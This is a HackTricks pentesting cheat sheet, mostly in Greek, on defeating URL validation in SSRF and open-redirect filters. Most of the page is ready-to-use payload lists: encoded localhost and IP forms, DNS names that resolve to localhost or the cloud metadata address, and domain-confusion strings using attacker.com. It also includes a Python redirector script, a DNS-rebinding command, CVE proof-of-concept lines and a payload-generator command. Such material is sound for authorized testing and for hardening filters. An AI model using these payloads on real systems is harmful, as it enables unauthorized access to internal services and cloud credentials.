URL Format Bypass

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Localhost

Localhost payloads ```bash # Localhost 0 # Yes, just 0 is localhost in Linux http://127.0.0.1:80 http://127.0.0.1:443 http://127.0.0.1:22 http://127.1:80 http://127.000000000000000.1 http://0 http:@0/ --> http://localhost/ http://0.0.0.0:80 http://localhost:80 http://[::]:80/ http://[::]:25/ SMTP http://[::]:3128/ Squid http://[0000::1]:80/ http://[0:0:0:0:0:ffff:127.0.0.1]/thefile http://①②⑦.⓪.⓪.⓪

CIDR bypass

http://127.127.127.127 http://127.0.1.3 http://127.0.0.0

Dot bypass

127。0。0。1 127%E3%80%820%E3%80%820%E3%80%821

Decimal bypass

http://2130706433/ = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1

Octal Bypass

http://0177.0000.0000.0001 http://00000177.00000000.00000000.00000001 http://017700000001

Hexadecimal bypass

127.0.0.1 = 0x7f 00 00 01 http://0x7f000001/ = http://127.0.0.1 http://0xc0a80014/ = http://192.168.0.20 0x7f.0x00.0x00.0x01 0x0000007f.0x00000000.0x00000000.0x00000001

Mixed encodings bypass

169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number 0xA9.254.0251.0376 -> hexadecimal, decimal and octal

Add 0s bypass

127.000000000000.1

You can also mix different encoding formats

https://www.silisoftware.com/tools/ipconverter.php

Malformed and rare

localhost:+11211aaa localhost:00011211aaaa http://0/ http://127.1 http://127.0.1

DNS to localhost

localtest.me = 127.0.0.1 customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1 mail.ebc.apple.com = 127.0.0.6 (localhost) 127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP) www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com http://customer1.app.localhost.my.company.127.0.0.1.nip.io http://bugbounty.dod.network = 127.0.0.2 (localhost) 1ynrnhl.xip.io == 169.254.169.254 spoofed.burpcollaborator.net = 127.0.0.1

</details>

![](<../../images/image (776).png>)

Η **Burp extension** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) υλοποιεί παρακάμψεις μορφοποίησης IP.

### Domain Parser

<details>
<summary>Παρακάμψεις domain parser</summary>
```bash
https:attacker.com
https:/attacker.com
http:/\/\attacker.com
https:/\attacker.com
//attacker.com
\\/\/attacker.com/
/\/attacker.com/
/attacker.com
%0D%0A/attacker.com
#attacker.com
#%20@attacker.com
@attacker.com
http://169.254.1698.254\@attacker.com
attacker%00.com
attacker%E3%80%82com
attacker。com
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
# double encoded fragment to bypass split("#"): attacker.com%2523@victim
``` ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ ``` ### Domain Confusion
Domain confusion payloads ```bash # Try also to change attacker.com for 127.0.0.1 to try to access localhost # Try replacing https by http # Try URL-encoded characters https://{domain}@attacker.com https://{domain}.attacker.com https://{domain}%6D@attacker.com https://attacker.com/{domain} https://attacker.com/?d={domain} https://attacker.com#{domain} https://attacker.com@{domain} https://attacker.com#@{domain} https://attacker.com%23@{domain} https://attacker.com%00{domain} https://attacker.com%0A{domain} https://attacker.com?{domain} https://attacker.com///{domain} https://attacker.com\{domain}/ https://attacker.com;https://{domain} https://attacker.com\{domain}/ https://attacker.com\.{domain} https://attacker.com/.{domain} https://attacker.com\@@{domain} https://attacker.com:\@@{domain} https://attacker.com#\@{domain} https://attacker.com\anything@{domain}/ https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com # colon + backslash confusion (CVE-2025-0454 in autogpt) http://localhost:\@google.com/../

On each IP position try to put 1 attackers domain and the others the victim domain

http://1.1.1.1 &@2.2.2.2# @3.3.3.3/

Parameter pollution

next={domain}&next=attacker.com

</details>

### Παρακάμψεις Διαδρομών και Επεκτάσεων

Αν απαιτείται το URL να τελειώνει σε διαδρομή ή επέκταση, ή να περιέχει διαδρομή, μπορείτε να δοκιμάσετε μία από τις παρακάτω παρακάμψεις:

https://metadata/vulnerable/path#/expected/path https://metadata/vulnerable/path#.extension https://metadata/expected/path/..%2f..%2f/vulnerable/path

### Fuzzing

Το εργαλείο [**recollapse**](https://github.com/0xacb/recollapse) μπορεί να δημιουργήσει παραλλαγές από μια δοθείσα είσοδο για να προσπαθήσει να παρακάμψει το χρησιμοποιούμενο regex. Δες επίσης [**this post**](https://0xacb.com/2022/11/21/recollapse/) για περισσότερες πληροφορίες.

### Αυτόματα Custom Wordlists

Δοκίμασε την webapp [**URL validation bypass cheat sheet**](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) από το portswigger όπου μπορείς να εισάγεις τον επιτρεπόμενο host και τον επιτιθέμενο και θα δημιουργήσει μια λίστα από URLs για να δοκιμάσεις. Επίσης λαμβάνει υπόψη αν μπορείς να χρησιμοποιήσεις το URL σε ένα parameter, σε ένα Host header ή σε ένα CORS header.


<a class="content_ref" href="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet"><span class="content_ref_label">URL validation bypass cheat sheet for SSRF/CORS/Redirect - 2024 Edition | Web Security Academy</span></a>

### Παράκαμψη μέσω redirect

Είναι πιθανό ο server να **φιλτράρει το αρχικό request** ενός SSRF **αλλά όχι** μια πιθανή **redirect** απάντηση σε αυτό το request.\
Για παράδειγμα, ένας server ευάλωτος σε SSRF μέσω: `url=https://www.google.com/` μπορεί να **φιλτράρει το url param**. Αλλά αν χρησιμοποιήσεις έναν [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv) προς το μέρος που θέλεις να κάνεις redirect, ίσως να μπορείς να **προσπελάσεις φιλτραρισμένες IP διευθύνσεις** όπως 127.0.0.1 ή ακόμη και φιλτραρισμένα **protocols** όπως gopher.\
[Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)

<details>
<summary>Απλός redirector για δοκιμή SSRF</summary>
```python
#!/usr/bin/env python3

#python3 ./redirector.py 8000 http://127.0.0.1/

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()

class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

DNS rebinding bypass (2025+)

Ακόμη και όταν ένα φίλτρο SSRF εκτελεί μία μόνο DNS επίλυση πριν από την αποστολή του HTTP αιτήματος, μπορείς ακόμα να φτάσεις σε εσωτερικά hosts αναδεσμεύοντας (rebinding) το domain μεταξύ της αναζήτησης και της σύνδεσης:

  1. Κατεύθυνε το victim.example.com σε μία δημόσια IP ώστε να περάσει το allow‑list / CIDR check.
  2. Εξυπηρέτησε πολύ χαμηλό TTL (ή χρησιμοποίησε έναν authoritative server που ελέγχεις) και rebind το domain σε 127.0.0.1 ή 169.254.169.254 αμέσως πριν γίνει το πραγματικό request.
  3. Εργαλεία όπως Singularity (nccgroup/singularity) αυτοματοποιούν τον authoritative DNS + HTTP server και περιλαμβάνουν έτοιμα payloads. Παράδειγμα εκτέλεσης: python3 singularity.py --lhost <your_ip> --rhost 127.0.0.1 --domain rebinder.test --http-port 8080.

Αυτή η τεχνική χρησιμοποιήθηκε το 2025 για να παρακάμψει το BentoML “safe URL” patch και παρόμοια single‑resolve SSRF φίλτρα.

Εξηγημένα Tricks

Backslash-trick

Το backslash-trick εκμεταλλεύεται μια διαφορά μεταξύ του WHATWG URL Standard και του RFC3986. Ενώ το RFC3986 είναι ένα γενικό πλαίσιο για URIs, το WHATWG είναι συγκεκριμένο για web URLs και έχει υιοθετηθεί από σύγχρονους browsers. Η βασική διαφορά είναι ότι το πρότυπο WHATWG αναγνωρίζει το backslash (\) ως ισοδύναμο του forward slash (/), επηρεάζοντας τον τρόπο που γίνεται parsing των URLs, ειδικά σηματοδοτώντας τη μετάβαση από το hostname στο path σε ένα URL.

https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg

Left square bracket

Ο χαρακτήρας “left square bracket” [ στο userinfo segment μπορεί να προκαλέσει το Spring’s UriComponentsBuilder να επιστρέψει ένα hostname value που διαφέρει από browsers: https://example.com[@attacker.com

Άλλες συγχύσεις

https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/

εικόνα από https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/

IPv6 Zone Identifier (%25) Trick

Σύγχρονοι URL parsers που υποστηρίζουν το RFC 6874 επιτρέπουν στα link-local IPv6 addresses να περιλαμβάνουν έναν zone identifier μετά από ένα percent sign. Ορισμένα security filters δεν γνωρίζουν αυτή τη σύνταξη και θα αφαιρέσουν μόνο IPv6 literals σε αγκύλες, επιτρέποντας στο ακόλουθο payload να φτάσει σε ένα internal interface:

http://[fe80::1%25eth0]/          # %25 = encoded '%', interpreted as fe80::1%eth0
http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)

Αν η στοχευόμενη εφαρμογή επικυρώνει ότι ο host δεν είναι fe80::1 αλλά σταματά την ανάλυση στο %, μπορεί να θεωρήσει λανθασμένα το αίτημα ως εξωτερικό. Κανονικοποιήστε πάντα τη διεύθυνση πριν από οποιαδήποτε απόφαση ασφάλειας ή αφαιρέστε εντελώς το προαιρετικό zone id.

Πρόσφατα CVE ανάλυσης βιβλιοθηκών (2022–2026)

Πολλά δημοφιλή frameworks παρουσίασαν προβλήματα ασυμφωνίας hostname που μπορούν να εκμεταλλευτούν για SSRF μόλις η επικύρωση URL παρακαμφθεί με τα τρικ που απαριθμήθηκαν παραπάνω:

ΈτοςCVEΣυστατικόΠερίληψη σφάλματοςΕλάχιστο PoC
2025CVE-2025-0454Python requests + urllib.parse (autogpt)Ασυμφωνία στην ανάλυση του http://localhost:\\@google.com/../ που κάνει τις allow‑lists να θεωρούν ότι ο host είναι google.com ενώ το αίτημα φτάνει στο localhost.requests.get("http://localhost:\\@google.com/../")
2025CVE-2025-2691Node package nossrfΗ βιβλιοθήκη που προορίζεται να μπλοκάρει SSRF ελέγχει μόνο το αρχικό hostname, όχι την επιλυμένη IP, επιτρέποντας hostnames που επιλύονται σε ιδιωτικές διευθύνσεις.curl "http://trusted.example" --resolve trusted.example:80:127.0.0.1
2024CVE-2024-29415Node ip packageisPublic() κατέταξε λανθασμένα το dotted‑octal / τη σύντομη μορφή localhost (π.χ. 0127.0.0.1, 127.1) ως δημόσιο, επιτρέποντας στα φίλτρα να αποδεχτούν εσωτερικούς στόχους.ip.isPublic('0127.0.0.1') returns true on vulnerable versions
2024CVE-2024-3095Langchain WebResearchRetrieverΔεν υπάρχει φιλτράρισμα host; τα GET requests θα μπορούσαν να φτάσουν στο IMDS/localhost από AI agents.User‑controlled URL inside WebResearchRetriever
2024CVE-2024-22243 / ‑22262Spring UriComponentsBuilderΤο [ στο userinfo αναλύεται διαφορετικά από το Spring σε σύγκριση με τους browsers, επιτρέποντας παράκαμψη allow‑list.https://example.com\[@internal
2023CVE-2023-27592urllib3 <1.26.15Η σύγχυση από backslash επέτρεψε στο http://example.com\\@169.254.169.254/ να παρακάμψει φίλτρα host που χωρίζουν με @.
2022CVE-2022-3602OpenSSLΟ έλεγχος hostname παρακάμφθηκε όταν το όνομα είχε κατάληξη . (σύγχυση dotless domain).

Βοηθητικά εργαλεία δημιουργίας payloads (2024+)

Η δημιουργία μεγάλων προσαρμοσμένων λιστών λέξεων με το χέρι είναι κουραστική. Το ανοιχτού κώδικα εργαλείο SSRF-PayloadMaker (Python 3) μπορεί τώρα να δημιουργήσει αυτόματα 80 k+ συνδυασμούς παραμόρφωσης hosts, συμπεριλαμβανομένων μικτών κωδικοποιήσεων, εξαναγκασμένης υποβάθμισης σε HTTP και παραλλαγών με backslash:

# Generate every known bypass that transforms the allowed host example.com to attacker.com
python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt

Η προκύπτουσα λίστα μπορεί να τροφοδοτηθεί απευθείας στο Burp Intruder ή στο ffuf.

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks